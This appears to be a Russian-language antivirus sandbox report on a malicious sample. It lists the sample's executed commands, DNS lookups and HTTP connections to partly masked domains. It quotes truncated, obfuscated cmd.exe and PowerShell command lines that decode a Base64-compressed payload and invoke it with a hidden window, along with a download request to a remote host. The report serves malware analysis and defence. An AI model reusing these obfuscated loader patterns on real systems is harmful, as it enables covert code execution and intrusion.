Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' CMD.EXE /C "SEt ced=^& ((gV '*MDr*').NAME[3,11,2]-jOiN'')(NEW-obJeCt io.coMPREssion.dEFlATEstReam( [SystEm.iO.MEMoryStReAM][COnvErT]::FrOmbasE64StRING( 'TZDRToNAEEV/hYdNtk1liZIodkNSW602Nja...
Сетевая активность
Подключается к
- 're####ostore.com':80
- 'ib###iim.com':80
TCP
Запросы HTTP GET
- http://www.re####ostore.com/sHOSQ39w37
UDP
- DNS ASK do#.dance
- DNS ASK ex#####v-residence.ro
- DNS ASK ku###vip.com.ua
- DNS ASK re####ostore.com
- DNS ASK ib###iim.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' CMD.EXE /C "SEt ced=^& ((gV '*MDr*').NAME[3,11,2]-jOiN'')(NEW-obJeCt io.coMPREssion.dEFlATEstReam( [SystEm.iO.MEMoryStReAM][COnvErT]::FrOmbasE64StRING( 'TZDRToNAEEV/hYdNtk1liZIodkNSW602Nja...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ( .( \"{2}{0}{1}\" -f 'ARIa','BLE','v') (\"{1}{0}\" -f'XT','ex*' ) ).\"VaL`Ue\".\"INvokEcom`ma`ND\".( \"{2}{1}{0}{3}\" -f'Vo','N','I','KesCriPT' ).Invoke( ( .(\"{0}{1}\" -f'Gc','I' ) ( \"...
